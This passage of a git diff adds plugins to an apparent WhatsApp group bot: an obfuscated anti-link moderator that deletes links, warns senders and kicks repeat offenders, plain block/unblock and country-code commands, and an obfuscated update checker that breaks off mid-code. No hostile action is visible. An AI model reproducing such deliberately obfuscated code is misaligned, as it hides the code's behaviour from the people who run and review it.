_0x90a4af=![],_0x46761c;};}()),_0x440961=_0x1c1750(this,function(){const _0x2b7948={};function _0x237c9d(_0x24741e,_0x493ae4,_0x110ddb,_0x275bd8){return _0x2a42(_0x275bd8-0x3d6,_0x493ae4);}_0x2b7948[_0x3b7209(0x4bc,0x4de,0x491,0x4f1)]='(((.+)+)+)'+'+$';function _0x3b7209(_0x591aca,_0x4eb0c6,_0xbd5163,_0x210d36){return _0x2a42(_0x591aca-0x2a9,_0xbd5163);}const _0x1ed8a6=_0x2b7948;return _0x440961[_0x237c9d(0x5c1,0x5e6,0x5f5,0x5bd)]()['search'](_0x1ed8a6[_0x3b7209(0x4bc,0x4bd,0x49a,0x4a5)])[_0x237c9d(0x5e8,0x5ce,0x58b,0x5bd)]()['constructo'+'r'](_0x440961)[_0x237c9d(0x61b,0x5d2,0x60d,0x5e7)](_0x1ed8a6[_0x237c9d(0x623,0x610,0x5d2,0x5e9)]);});_0x440961();const _0x5a0643=(function(){function _0x15347c(_0x264219,_0x75703f,_0x54aa8c,_0x17f9de){return _0x2a42(_0x264219-0x194,_0x75703f);}function _0x3451d0(_0x266571,_0x1184b5,_0x1eaebd,_0x24b186){return _0x2a42(_0x24b186-0x171,_0x1184b5);}const _0x2f1d48={'xnUyD':function(_0x549976,_0xdfc147){return _0x549976(_0xdfc147);},'AqjdB':function(_0x2b3369,_0x58a4f9){return _0x2b3369+_0x58a4f9;},'uYlyF':function(_0x5b38c1,_0x2491cf){return _0x5b38c1+_0x2491cf;},'WvxWY':_0x15347c(0x3b2,0x3e1,0x3ca,0x3c0)+_0x3451d0(0x39a,0x336,0x359,0x370),'gwQuf':_0x15347c(0x37c,0x35d,0x358,0x382)+_0x3451d0(0x332,0x2fd,0x347,0x322)+_0x3451d0(0x373,0x3b2,0x35a,0x38d)+'\x20)','vCyao':function(_0x54011f,_0x112a83){return _0x54011f!==_0x112a83;},'DWIvq':'MBqws','UklpD':_0x3451d0(0x337,0x36b,0x304,0x32e)};let _0x18949f=!![];return function(_0x297a1f,_0x21b3a2){const _0x4c2b42={'HyLri':function(_0x485081,_0x2ddba7){function _0x4d0366(_0x51643c,_0x124de5,_0x462a2d,_0x2811ce){return _0x2a42(_0x462a2d-0x144,_0x124de5);}return _0x2f1d48[_0x4d0366(0x355,0x36d,0x35d,0x34b)](_0x485081,_0x2ddba7);},'PqODd':function(_0x1a8c66,_0x43d16c){function _0x4dd1d0(_0x367777,_0x257dea,_0x3b2520,_0x3367fe){return _0x2a42(_0x257dea-0x20f,_0x3b2520);}return _0x2f1d48[_0x4dd1d0(0x3e1,0x3fa,0x40e,0x430)](_0x1a8c66,_0x43d16c);},'dSdGV':function(_0x3bc314,_0x5c359f){function _0x2bee9d(_0x3035ac,_0x143c3f,_0x560ee3,_0x2744d1){return _0x2a42(_0x143c3f-0x18d,_0x560ee3);}return _0x2f1d48[_0x2bee9d(0x346,0x36c,0x350,0x38b)](_0x3bc314,_0x5c359f);},'Adkxc':_0x2f1d48[_0xea34fc(0x1a5,0x1d9,0x1bc,0x1d7)],'AGbCd':_0x2f1d48[_0xea34fc(0x1a0,0x17d,0x16d,0x185)],'nyEKm':function(_0x57c9ee,_0x131544){return _0x2f1d48['vCyao'](_0x57c9ee,_0x131544);},'mVoJA':_0x3c0bc9(0x4e3,0x4ac,0x4b8,0x4cd),'EZpPi':function(_0x6df1ea,_0x1c2ac4){function _0x438f51(_0x56d11a,_0x1c4048,_0x595a61,_0x3314d2){return _0xea34fc(_0x3314d2- -0x1e6,_0x1c4048-0xa,_0x1c4048,_0x3314d2-0x126);}return _0x2f1d48[_0x438f51(-0x88,-0x20,-0x4d,-0x57)](_0x6df1ea,_0x1c2ac4);},'KSplg':_0x2f1d48[_0x3c0bc9(0x4eb,0x4dc,0x50c,0x4cc)],'xWbhR':_0x2f1d48[_0x3c0bc9(0x470,0x475,0x45d,0x4a2)]};function _0xea34fc(_0x20ecee,_0x4f5be0,_0xcb0dd1,_0x184e66){return _0x15347c(_0x20ecee- -0x1d5,_0xcb0dd1,_0xcb0dd1-0x85,_0x184e66-0x178);}const _0x57a765=_0x18949f?function(){function _0x1610dd(_0x2acd26,_0x1f9407,_0x56a202,_0x2404e6){return _0x3c0bc9(_0x2acd26-0x84,_0x1f9407- -0x3c9,_0x56a202-0x109,_0x2acd26);}function _0x515089(_0x45c856,_0x25e520,_0x30a336,_0x3bfb54){return _0x3c0bc9(_0x45c856-0x1cc,_0x3bfb54-0x3b,_0x30a336-0x139,_0x30a336);}if(_0x4c2b42['nyEKm'](_0x4c2b42[_0x1610dd(0xea,0xce,0xb1,0xbc)],_0x4c2b42['mVoJA'])){const _0xc7579e=_0x4c2b42[_0x1610dd(0x112,0x10f,0xec,0xfb)](_0x1b1682,_0x4c2b42['PqODd'](_0x4c2b42[_0x1610dd(0xbd,0xf2,0xe9,0x121)](_0x4c2b42[_0x1610dd(0x138,0x117,0x130,0x11f)],_0x4c2b42[_0x1610dd(0x134,0xf9,0xfe,0x12f)]),');'));_0x2da0c9=_0xc7579e();}else{if(_0x21b3a2){if(_0x4c2b42[_0x1610dd(0x94,0xb5,0xb9,0x9c)](_0x4c2b42[_0x1610dd(0x10e,0xfa,0x136,0x12c)],_0x4c2b42['xWbhR'])){const _0x5b0409=_0x21b3a2[_0x515089(0x4ec,0x499,0x4c9,0x4b3)](_0x297a1f,arguments);return _0x21b3a2=null,_0x5b0409;}else{const _0x536685=_0x176c34['apply'](_0x30ccec,arguments);return _0x19328f=null,_0x536685;}}}}:function(){};function _0x3c0bc9(_0x59f151,_0x5676f4,_0x3eb18b,_0x5a86ba){return _0x3451d0(_0x59f151-0x138,_0x5a86ba,_0x3eb18b-0x1b5,_0x5676f4-0x15b);}return _0x18949f=![],_0x57a765;};}()),_0x53c5df=_0x5a0643(this,function(){const _0x2bc38a={'LHHum':function(_0x3cb462,_0x1259bc){return _0x3cb462(_0x1259bc);},'dmaGR':function(_0x142bb8,_0x237a6f){return _0x142bb8+_0x237a6f;},'NcLSH':_0x5c1826(0x591,0x5f5,0x5a6,0x5bf)+_0x5c1826(0x57a,0x5a7,0x5a4,0x5a0),'qhJQo':_0x5c1826(0x5a5,0x5bc,0x564,0x589)+_0x5c1826(0x583,0x52a,0x58f,0x552)+'rn\x20this\x22)('+'\x20)','BMDCP':_0x5c1826(0x57e,0x591,0x598,0x596),'cXJON':'info','wxaaX':_0x478164(-0x19b,-0x16c,-0x1a5,-0x1a1),'oMUvn':_0x5c1826(0x59b,0x5a7,0x564,0x58a),'wzEcO':function(_0x17eb39,_0x35119c){return _0x17eb39<_0x35119c;}};let _0x2fee47;function _0x478164(_0x3452c0,_0x2da3da,_0xcb7666,_0x13dd27){return _0x2a42(_0x13dd27- -0x379,_0xcb7666);}try{const _0x1f3720=_0x2bc38a[_0x5c1826(0x5a0,0x541,0x56c,0x57a)](Function,_0x2bc38a[_0x478164(-0x1a3,-0x1cf,-0x181,-0x19b)](_0x2bc38a[_0x478164(-0x1d4,-0x1ab,-0x18f,-0x19b)](_0x2bc38a['NcLSH'],_0x2bc38a[_0x478164(-0x13c,-0x150,-0x171,-0x176)]),');'));_0x2fee47=_0x1f3720();}catch(_0x54b246){_0x2fee47=window;}const _0x3bbf08=_0x2fee47[_0x5c1826(0x53a,0x55f,0x57a,0x572)]=_0x2fee47[_0x478164(-0x1be,-0x1a7,-0x1a4,-0x1a8)]||{},_0x1e8192=['log',_0x2bc38a[_0x5c1826(0x5a3,0x5a7,0x57b,0x58f)],_0x2bc38a[_0x5c1826(0x54f,0x538,0x518,0x545)],_0x2bc38a[_0x478164(-0x1ca,-0x1b0,-0x175,-0x1b2)],_0x478164(-0x1df,-0x1a3,-0x1bf,-0x1a4),_0x5c1826(0x5c8,0x5c0,0x5ee,0x5be),_0x2bc38a['oMUvn']];function _0x5c1826(_0x5a2382,_0x30444f,_0x35a92e,_0x5b6e58){return _0x2a42(_0x5b6e58-0x3a1,_0x35a92e);}for(let _0x46d50b=0x1*0x267e+0x153c+-0x3bba;_0x2bc38a[_0x478164(-0x163,-0x16d,-0x1a9,-0x16c)](_0x46d50b,_0x1e8192[_0x478164(-0x1ac,-0x174,-0x13f,-0x177)]);_0x46d50b++){const _0x4406dd=_0x5a0643['constructo'+'r']['prototype'][_0x5c1826(0x56b,0x530,0x59d,0x562)](_0x5a0643),_0x3c1228=_0x1e8192[_0x46d50b],_0x1d1619=_0x3bbf08[_0x3c1228]||_0x4406dd;_0x4406dd[_0x478164(-0x1ce,-0x1bc,-0x1b2,-0x1ab)]=_0x5a0643[_0x5c1826(0x59a,0x58b,0x540,0x562)](_0x5a0643),_0x4406dd[_0x478164(-0x1ce,-0x15a,-0x191,-0x192)]=_0x1d1619[_0x478164(-0x18f,-0x193,-0x1ab,-0x192)][_0x478164(-0x1cd,-0x1be,-0x1d6,-0x1b8)](_0x1d1619),_0x3bbf08[_0x3c1228]=_0x4406dd;}});_0x53c5df();const {cmd}=require('../command'),config=require(_0x120ae6(0x45a,0x436,0x47a,0x491)),warnings={},linkPatterns=[/https?:\/\/(?:chat\.whatsapp\.com|wa\.me)\/\S+/gi,/https?:\/\/(?:api\.whatsapp\.com|wa\.me)\/\S+/gi,/wa\.me\/\S+/gi,/https?:\/\/(?:t\.me|telegram\.me)\/\S+/gi,/https?:\/\/(?:www\.)?\.com\/\S+/gi,/https?:\/\/(?:www\.)?twitter\.com\/\S+/gi,/https?:\/\/(?:www\.)?linkedin\.com\/\S+/gi,/https?:\/\/(?:whatsapp\.com|channel\.me)\/\S+/gi,/https?:\/\/(?:www\.)?reddit\.com\/\S+/gi,/https?:\/\/(?:www\.)?discord\.com\/\S+/gi,/https?:\/\/(?:www\.)?twitch\.tv\/\S+/gi,/https?:\/\/(?:www\.)?vimeo\.com\/\S+/gi,/https?:\/\/(?:www\.)?dailymotion\.com\/\S+/gi,/https?:\/\/(?:www\.)?medium\.com\/\S+/gi],_0x2ecd0d={};function _0x45d9(){const _0xb80a35=['D2fYBG','quDIq2q','s1nWBgC','zxjYB3i6','imQa0ztqVm+dZR3rLokiGIdHTke','EwTKAeK','lI4Vy29UzMLN','sM9Qr0S','zgvSzxrL','mtGWodLcAgvxu3q','BMn0Aw9UkcKG','D2fYBMLUz3m','C2vUze1LC3nHzW','BgvUz3rO','CwHkuw8','C3bSAxq','EvLxz2W','0lZoUDgcidOGmYOkkG','qwXcyui','Z4pjTca6iokeK865YBtHTiSG','rMfPBgvKihrVia','De9Iv1u','iqOQ4PsC4PAIiog0Hm+d4BsCYBq','shLmCMK','D3Pfy08','Bg9N','r2nrBM0','rfDjDNe','C2vHCMnO','B09Wrxe','AxfQDeu','qwrREgm','mtmWtxfZrMf4','v3vuB1i','u1bttgm','Aw5MBW','Eg5vEuq','m21vwxbHuG','sg9ZqxO','CM4GDgHPCYiPka','DgfIBgu','CMv0DxjUicHMDq','BfjmBu0','y1Hkt04','YBtoUCM0zYdIRkhILidILidILidILia','zxnZAw5NihrOzq','y29UC3rYDwn0BW','4P2miefUigvYCM9Y','vwTSCeq','yM9wuhG','BhzKu1G','yxbWBhK','vuH6DKu','AxL4veC','ig1LC3nHz2uU','AMLAugK','y3rVCIGICMv0Dq','rvPWugK','EvHmDge','mtbpAwTzA0u','4BsBidOG','qxbUtxK','tff3A2u','mtrVrvPLAMO','4OcokUkAOo+4JYdIHjpoUCM00lRrLsa','wNbhBLu','rKrhEMO','nJe2wKLcsNjd','vev0ENm','mtq2nhj6v2nfwq','mtaYndaZzKvIsKHf','AfvVy0G','yMLUza','Eu5zyxm','CMvTB3zL','kGOQ4PsC4PAIiog0NhprLmQa','B3r3sve','DNrxvwK','D3HHyvG','4Psa4Psa4Psa4Psa4Psa4Psa4PsakG','C2fNztO','ChjVDg90ExbL','BvzVsKe','mti4otq5nZv2A1HLyMC','D3fAA0S','x19WCM90B19F','rKrlu3K','DKn5yw8','y29UC29Szq','zuf6AxK','thfHAwm','AeHxvKu','zxHJzxb0Aw9U','A2v5','DgfhBxa','zxjYB3i','teHiDw0','4PwT4Psa4Psa4Psa4Psa4QYHiog0OC6XYOa','B1nOALq','twvZC2fNzsbKzq','vK1kzuW','zg1Hr1i','DvLSEuy','v1vrvhi','z3DrDwy','mJi0mJy4D3n2wLHm','4OstZ4ppIDgu4OIciokAOo+4JYOkkG','qw50As1SAw5Ria','ndi3ndzsCgj4sMq','v3z4v1K','Dg9tDhjPBMC','E30Uy29UC3rYDq','DhjHy2u','zgvSzxrLig1LCW','qxfQzei','kGOQ4PsC4PAIimQa0ztoSDgv','0zxrLmM04OIcZRNjTgCQcIO','qK1eq1a','zfnKr1y','ANPtwKG','mta2odq3mdjYqw9Nue4','nJveqw9pz0C','mZu3oti4DeTcqw9h','q3D0CMW'];_0x45d9=function(){return _0xb80a35;};return _0x45d9();}function _0x120ae6(_0x34d99b,_0x436550,_0xa69ede,_0x3317e6){return _0x2a42(_0x34d99b-0x25f,_0x436550);}_0x2ecd0d['on']='body',cmd(_0x2ecd0d,async(_0x1b0103,_0x5a117b,_0x21485b,{from:_0x31329c,body:_0x59e102,sender:_0x197a37,isGroup:_0x51e048,isAdmins:_0x31a9fa,isBotAdmins:_0x393e4b,reply:_0x1698ad})=>{function _0xbb70f3(_0x26fe8e,_0x59956c,_0x4694fc,_0x41781c){return _0x120ae6(_0x26fe8e- -0x209,_0x4694fc,_0x4694fc-0xc7,_0x41781c-0x103);}const _0x3240d4={'vtWUi':function(_0x22a1f3,_0x4e501d){return _0x22a1f3===_0x4e501d;},'ApnMy':_0xbb70f3(0x216,0x249,0x233,0x238),'LQwke':function(_0x381564,_0x1a456a){return _0x381564||_0x1a456a;},'jYAnl':'true','boVPx':_0x592c78(-0x92,-0x6e,-0x5c,-0x7c),'otwIQ':_0xbb70f3(0x25f,0x292,0x291,0x279)+_0x592c78(-0x75,-0x46,-0x3b,-0x8f)+_0x592c78(-0x96,-0x5e,-0xca,-0x60),'VBtuB':function(_0x307ee7,_0x5db89b){return _0x307ee7<_0x5db89b;},'hHWVE':function(_0xd5e1e3,_0x28084c){return _0xd5e1e3!==_0x28084c;},'oShjT':'DSWer','jiZPi':_0xbb70f3(0x219,0x245,0x225,0x254),'SPSLc':_0x592c78(-0x63,-0x75,-0x6c,-0x6d),'jzSZH':_0x592c78(-0x7b,-0x63,-0x73,-0x63)+_0xbb70f3(0x24e,0x26b,0x232,0x211),'yXLta':function(_0x51cc6d,_0x450542){return _0x51cc6d(_0x450542);},'GcQnm':_0x592c78(-0xb7,-0xc4,-0x8d,-0xf3)+'\x20occurred\x20'+'while\x20proc'+_0xbb70f3(0x1fc,0x1f7,0x235,0x206)+_0xbb70f3(0x205,0x1d4,0x22d,0x1fd)};function _0x592c78(_0x67ef44,_0x3bde14,_0x1baf3b,_0x10ba54){return _0x120ae6(_0x67ef44- -0x4be,_0x3bde14,_0x1baf3b-0x119,_0x10ba54-0xdc);}try{if(_0x3240d4['vtWUi'](_0x3240d4[_0xbb70f3(0x20c,0x1e8,0x1ce,0x24a)],_0x592c78(-0x9d,-0x9a,-0xcf,-0xca)))_0x3a1855=_0x467d92;else{if(!global[_0xbb70f3(0x256,0x23f,0x22f,0x227)])global[_0x592c78(-0x5f,-0x8c,-0x8b,-0x7f)]={};if(_0x3240d4[_0xbb70f3(0x20d,0x1d9,0x248,0x1fd)](!_0x51e048,_0x31a9fa)||!_0x393e4b)return;const _0x2f88f6=[/https?:\/\/(?:chat\.whatsapp\.com|wa\.me)\/\S+/gi,/https?:\/\/(?:api\.whatsapp\.com|wa\.me)\/\S+/gi,/wa\.me\/\S+/gi,/https?:\/\/(?:t\.me|telegram\.me)\/\S+/gi,/https?:\/\/(?:www\.)?\.com\/\S+/gi,/https?:\/\/(?:www\.)?twitter\.com\/\S+/gi,/https?:\/\/(?:www\.)?linkedin\.com\/\S+/gi,/https?:\/\/(?:whatsapp\.com|channel\.me)\/\S+/gi,/https?:\/\/(?:www\.)?reddit\.com\/\S+/gi,/https?:\/\/(?:www\.)?discord\.com\/\S+/gi,/https?:\/\/(?:www\.)?twitch\.tv\/\S+/gi,/https?:\/\/(?:www\.)?vimeo\.com\/\S+/gi,/https?:\/\/(?:www\.)?dailymotion\.com\/\S+/gi,/https?:\/\/(?:www\.)?medium\.com\/\S+/gi],_0x22812b=_0x2f88f6['some'](_0x56428a=>_0x56428a['test'](_0x59e102));if(_0x22812b&&_0x3240d4[_0xbb70f3(0x21c,0x20c,0x232,0x24c)](config['ANTI_LINK'],_0x3240d4['jYAnl'])){console[_0x592c78(-0x51,-0x77,-0x2b,-0x84)]('Link\x20detec'+'ted\x20from\x20'+_0x197a37+':\x20'+_0x59e102);try{if(_0x3240d4[_0x592c78(-0xb5,-0x80,-0xcf,-0x96)]===_0x3240d4['boVPx']){const _0x1c7271={};_0x1c7271[_0xbb70f3(0x253,0x26a,0x25a,0x239)]=_0x5a117b[_0xbb70f3(0x22c,0x1fd,0x1fc,0x265)],await _0x1b0103['sendMessag'+'e'](_0x31329c,_0x1c7271),console[_0x592c78(-0x51,-0x20,-0x63,-0x76)](_0x592c78(-0x83,-0x94,-0x5b,-0x69)+'leted:\x20'+_0x5a117b[_0x592c78(-0x89,-0xa4,-0xb1,-0x96)]['id']);}else{const _0x381ee1=_0x1df5c4?function(){function _0x50da02(_0x1b97ef,_0xae226a,_0x1bceb1,_0x1506f2){return _0x592c78(_0x1506f2-0x53d,_0xae226a,_0x1bceb1-0x17c,_0x1506f2-0x1c3);}if(_0x49316a){const _0x172098=_0x471b28[_0x50da02(0x472,0x456,0x467,0x48a)](_0x4f2f40,arguments);return _0x4fee88=null,_0x172098;}}:function(){};return _0x444d4e=![],_0x381ee1;}}catch(_0x60fee7){console['error'](_0x3240d4[_0x592c78(-0x9a,-0x60,-0x9b,-0xb0)],_0x60fee7);}global[_0x592c78(-0x5f,-0x4e,-0x42,-0x43)][_0x197a37]=(global['warnings'][_0x197a37]||0xf8*0xb+-0x138f+0x8e7)+(-0x940+0x26*-0xf8+-0x1*-0x2e11);const _0xce1e8a=global[_0xbb70f3(0x256,0x244,0x231,0x21b)][_0x197a37];if(_0x3240d4['VBtuB'](_0xce1e8a,-0x1091+0x20f2+-0x105d))await _0x1b0103[_0x592c78(-0x5e,-0x67,-0x3b,-0x35)+'e'](_0x31329c,{'text':_0xbb70f3(0x20f,0x242,0x230,0x21c)+'ฮฑส€ั”\x20ษดฯƒั‚\x20ฮฑโ„“'+_0xbb70f3(0x239,0x24f,0x21c,0x20b)+_0xbb70f3(0x230,0x251,0x25a,0x25a)+_0xbb70f3(0x1fb,0x210,0x1f5,0x20f)+_0xbb70f3(0x21a,0x223,0x221,0x206)+'\x20:*\x20@'+_0x197a37[_0x592c78(-0x5b,-0x39,-0x2e,-0x5f)]('@')[0x6c*0x4+-0x4c*-0x1d+0x1*-0xa4c]+(_0xbb70f3(0x261,0x295,0x279,0x287)+_0xbb70f3(0x20b,0x1dc,0x1ee,0x226))+_0xce1e8a+(_0xbb70f3(0x242,0x24c,0x26e,0x278)+_0x592c78(-0x57,-0x92,-0x7e,-0x7a)+_0x592c78(-0x72,-0x4c,-0x38,-0x66)+'โ”œโ–ข\x20แดกฮฑส€ษด\x20โ„“ฮน'+_0xbb70f3(0x25c,0x299,0x267,0x252)+'โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€'+_0xbb70f3(0x21e,0x1ee,0x1f9,0x1ee)),'mentions':[_0x197a37]});else{if(_0x3240d4[_0xbb70f3(0x22a,0x21c,0x237,0x25c)](_0x3240d4[_0xbb70f3(0x231,0x258,0x256,0x231)],_0x3240d4[_0xbb70f3(0x231,0x224,0x238,0x204)])){if(_0x14dca9){const _0x5ba27c=_0x115b6e[_0xbb70f3(0x202,0x20f,0x1f9,0x1df)](_0x216f56,arguments);return _0xf8a883=null,_0x5ba27c;}}else await _0x1b0103[_0x592c78(-0x5e,-0x25,-0x26,-0x43)+'e'](_0x31329c,{'text':'@'+_0x197a37[_0x592c78(-0x5b,-0x5a,-0x32,-0x87)]('@')[0x5*0xf+0x6b*0x2e+-0x1385]+('\x20*ะฝฮฑั•\x20ะฒั”ั”ะธ'+_0x592c78(-0x66,-0x9c,-0xa4,-0x36)+'ฮฑส€ษด\x20โ„“ฮนะผฮนั‚\x20'+'ั”ฯ‡แด„ั”ั”โˆ‚ั”โˆ‚!*'),'mentions':[_0x197a37]}),await _0x1b0103['groupParti'+'cipantsUpd'+'ate'](_0x31329c,[_0x197a37],_0x3240d4[_0xbb70f3(0x206,0x1ee,0x1ef,0x215)]),delete global['warnings'][_0x197a37];}}}}catch(_0xdba093){if(_0x3240d4[_0xbb70f3(0x26d,0x24e,0x237,0x277)]===_0x3240d4['SPSLc'])console[_0xbb70f3(0x22e,0x20d,0x23b,0x24b)](_0x3240d4[_0xbb70f3(0x246,0x20f,0x211,0x227)],_0xdba093),_0x3240d4[_0xbb70f3(0x209,0x1dd,0x1cd,0x226)](_0x1698ad,_0x3240d4[_0x592c78(-0x50,-0x7e,-0x1e,-0x77)]);else{const _0x5f2a5f=_0x203b3e[_0xbb70f3(0x1fd,0x1fb,0x1ef,0x20d)+'r'][_0x592c78(-0x95,-0xcc,-0x71,-0x88)]['bind'](_0x33e366),_0x20bb3d=_0x5a19a9[_0x2e3263],_0xa257a4=_0x4733a0[_0x20bb3d]||_0x5f2a5f;_0x5f2a5f['__proto__']=_0x8a5db7[_0x592c78(-0x9e,-0xc1,-0xcf,-0xd4)](_0x400d2d),_0x5f2a5f[_0xbb70f3(0x23d,0x233,0x20a,0x21d)]=_0xa257a4[_0x592c78(-0x78,-0x7e,-0x44,-0x9b)][_0x592c78(-0x9e,-0xaf,-0xd8,-0x76)](_0xa257a4),_0x244131[_0x20bb3d]=_0x5f2a5f;}}}); \ No newline at end of file diff --git a/plugins/block-upblock.js b/plugins/block-upblock.js new file mode 100644 index 0000000000000000000000000000000000000000..5e72c65aba6b5990d30f3adc838e7d3bd56803ef --- /dev/null +++ b/plugins/block-upblock.js @@ -0,0 +1,79 @@ +const { cmd } = require('../command'); + +cmd({ + pattern: "block", + desc: "Blocks a person", + category: "owner", + react: "๐Ÿšซ", + filename: __filename +}, +async (conn, m, { reply, q, react }) => { + // Get the bot owner's number dynamically + const botOwner = conn.user.id.split(":")[0] + "@s.whatsapp.net"; + + if (m.sender !== botOwner) { + await react("โŒ"); + return reply("Only the bot owner can use this command."); + } + + let jid; + if (m.quoted) { + jid = m.quoted.sender; // If replying to a message, get sender JID + } else if (m.mentionedJid.length > 0) { + jid = m.mentionedJid[0]; // If mentioning a user, get their JID + } else if (q && q.includes("@")) { + jid = q.replace(/[@\s]/g, '') + "@s.whatsapp.net"; // If manually typing a JID + } else { + await react("โŒ"); + return reply("Please mention a user or reply to their message."); + } + + try { + await conn.updateBlockStatus(jid, "block"); + await react("โœ…"); + reply(`*@${jid.split("@")[0]} SUCCESSFULLY BLOCKED โ›”*`, { mentions: [jid] }); + } catch (error) { + console.error("Block command error:", error); + await react("โŒ"); + reply("Failed to block the user."); + } +}); + +cmd({ + pattern: "unblock", + desc: "Unblocks a person", + category: "owner", + react: "๐Ÿ”“", + filename: __filename +}, +async (conn, m, { reply, q, react }) => { + // Get the bot owner's number dynamically + const botOwner = conn.user.id.split(":")[0] + "@s.whatsapp.net"; + + if (m.sender !== botOwner) { + await react("โŒ"); + return reply("Only the bot owner can use this command."); + } + + let jid; + if (m.quoted) { + jid = m.quoted.sender; + } else if (m.mentionedJid.length > 0) { + jid = m.mentionedJid[0]; + } else if (q && q.includes("@")) { + jid = q.replace(/[@\s]/g, '') + "@s.whatsapp.net"; + } else { + await react("โŒ"); + return reply("Please mention a user or reply to their message."); + } + + try { + await conn.updateBlockStatus(jid, "unblock"); + await react("โœ…"); + reply(`*@${jid.split("@")[0]} SUCCESSFULLY UNBLOCKED โœ…*`, { mentions: [jid] }); + } catch (error) { + console.error("Unblock command error:", error); + await react("โŒ"); + reply("Failed to unblock the user."); + } +}); diff --git a/plugins/check-code.js b/plugins/check-code.js new file mode 100644 index 0000000000000000000000000000000000000000..fa21b60cacde24b118259810a4b791bdaa94e562 --- /dev/null +++ b/plugins/check-code.js @@ -0,0 +1,50 @@ +const axios = require("axios"); +const { cmd } = require("../command"); + +// Helper function to convert a country ISO code to its flag emoji +function getFlagEmoji(countryCode) { + if (!countryCode) return ""; + return countryCode + .toUpperCase() + .split("") + .map(letter => String.fromCodePoint(letter.charCodeAt(0) + 127397)) + .join(""); +} + +cmd({ + pattern: "check", + desc: "Checks the country calling code and returns the corresponding country name(s) with flag", + category: "utility", + filename: __filename +}, async (conn, mek, m, { from, args, reply }) => { + try { + let code = args[0]; + if (!code) { + return reply("*๐ŸŽ แด˜สŸแด‡แด€sแด‡ แด˜ส€แดแด ษชแด…แด‡ แด€ แด„แดแดœษดแด›ส€ส แด„แดแด…แด‡. แด‡xแด€แดแด˜สŸแด‡: `.แด„สœแด‡แด„แด‹ ๐Ÿฟ๐Ÿธ`*"); + } + + // Remove any '+' signs from the code + code = code.replace(/\+/g, ''); + + // Fetch all countries using the REST Countries v2 API + const url = "https://restcountries.com/v2/all"; + const { data } = await axios.get(url); + + // Filter countries whose callingCodes include the given code + const matchingCountries = data.filter(country => + country.callingCodes && country.callingCodes.includes(code) + ); + + if (matchingCountries.length > 0) { + const countryNames = matchingCountries + .map(country => `${getFlagEmoji(country.alpha2Code)} ${country.name}`) + .join("\n"); + reply(`๐Ÿ“ฎ *Country Code*: ${code}\n๐ŸŒ *Countries*:\n${countryNames}`); + } else { + reply(`โŒ No country found for the code ${code}.`); + } + } catch (error) { + console.error(error); + reply("โŒ An error occurred while checking the country code."); + } +}); diff --git a/plugins/checkupdate.js b/plugins/checkupdate.js new file mode 100644 index 0000000000000000000000000000000000000000..961d08e01676a3f3aaa0ecdaf720e54addeeac70 --- /dev/null +++ b/plugins/checkupdate.js @@ -0,0 +1 @@ +function _0x41c4(_0x4d7775,_0x320bde){const _0x665e75=_0x665e();return _0x41c4=function(_0x41c4e7,_0x320894){_0x41c4e7=_0x41c4e7-0xa3;let _0x1868b0=_0x665e75[_0x41c4e7];return _0x1868b0;},_0x41c4(_0x4d7775,_0x320bde);}function _0x665e(){const _0x2b81a1=['sha','checksync','Error\x20reading\x20package.json:','```โœ…\x20Your\x20ALI-MD\x20bot\x20is\x20already\x20up-to-date!```\x0a','2900704ZLIDMQ','66555vxuAFv','778880KDiIpq','filename','get','error','Check\x20update\x20error:','date','files','173054YcKihJ','4624250wILaRR','6479046otulTt','checkupgrade','10891esTfRy','\x0a\x0aTo\x20update\x20the\x20bot,\x20please\x20run\x20the\x20command\x20`.update`','path','map','UTC','\x0a๐Ÿ“…\x20*DATE*:\x20','misc','58VbOdyE','toLocaleString','https://api.github.com/repos/itx-ali-raza/ALI-MD/commits/main','commit','en-US','author','unknown','60HsLbmL','commitHash','adm-zip','\x0a๐Ÿ”„\x20*FILES\x20MODIFIED*:\x0a'];_0x665e=function(){return _0x2b81a1;};return _0x665e();}const _0xcaa1ef=_0x41c4;(function(_0x454eec,_0x255f42){const _0x546b82=_0x41c4,_0x3d1b24=_0x454eec();while(!![]){try{const _0x45c9be=parseInt(_0x546b82(0xc1))/0x1*(parseInt(_0x546b82(0xa5))/0x2)+parseInt(_0x546b82(0xb5))/0x3+-parseInt(_0x546b82(0xb6))/0x4+parseInt(_0x546b82(0xbe))/0x5+parseInt(_0x546b82(0xac))/0x6*(-parseInt(_0x546b82(0xbd))/0x7)+parseInt(_0x546b82(0xb4))/0x8+-parseInt(_0x546b82(0xbf))/0x9;if(_0x45c9be===_0x255f42)break;else _0x3d1b24['push'](_0x3d1b24['shift']());}catch(_0x8ece62){_0x3d1b24['push'](_0x3d1b24['shift']());}}}(_0x665e,0x7130c));const {cmd}=require('../command'),axios=require('axios'),fs=require('fs'),path=require(_0xcaa1ef(0xc3)),AdmZip=require(_0xcaa1ef(0xae));cmd({'pattern':'checkupdate','alias':[_0xcaa1ef(0xc0),_0xcaa1ef(0xb1)],'react':'๐Ÿ”','desc':'Check\x20for\x20updates\x20without\x20applying\x20them.','category':_0xcaa1ef(0xa4),'filename':__filename},async(_0x12553d,_0x3b0e7f,_0x513ca0,{from:_0x4f6035,reply:_0x5d90e8,sender:_0x3fc6ce,isOwner:_0x90cd41})=>{const _0x50a56d=_0xcaa1ef;if(!_0x90cd41)return _0x5d90e8('This\x20command\x20is\x20only\x20for\x20the\x20bot\x20owner.');try{const {data:_0x5b6f17}=await axios[_0x50a56d(0xb8)](_0x50a56d(0xa7)),_0x2bd28a=_0x5b6f17[_0x50a56d(0xb0)],_0x352f8e=_0x5b6f17[_0x50a56d(0xa8)][_0x50a56d(0xaa)]['name'],_0x35cca7=new Date(_0x5b6f17[_0x50a56d(0xa8)]['author'][_0x50a56d(0xbb)])[_0x50a56d(0xa6)](_0x50a56d(0xa9),{'timeZone':_0x50a56d(0xc5)}),_0x5bab21=_0x5b6f17[_0x50a56d(0xbc)][_0x50a56d(0xc4)](_0x550ee4=>'๐Ÿ“„\x20'+_0x550ee4[_0x50a56d(0xb7)])['join']('\x0a');let _0x22514c=_0x50a56d(0xab);try{const _0xf8cf3d=require('../package.json');_0x22514c=_0xf8cf3d[_0x50a56d(0xad)]||_0x50a56d(0xab);}catch(_0x5a922b){console['error'](_0x50a56d(0xb2),_0x5a922b);}if(_0x2bd28a===_0x22514c)return _0x5d90e8(_0x50a56d(0xb3));else await 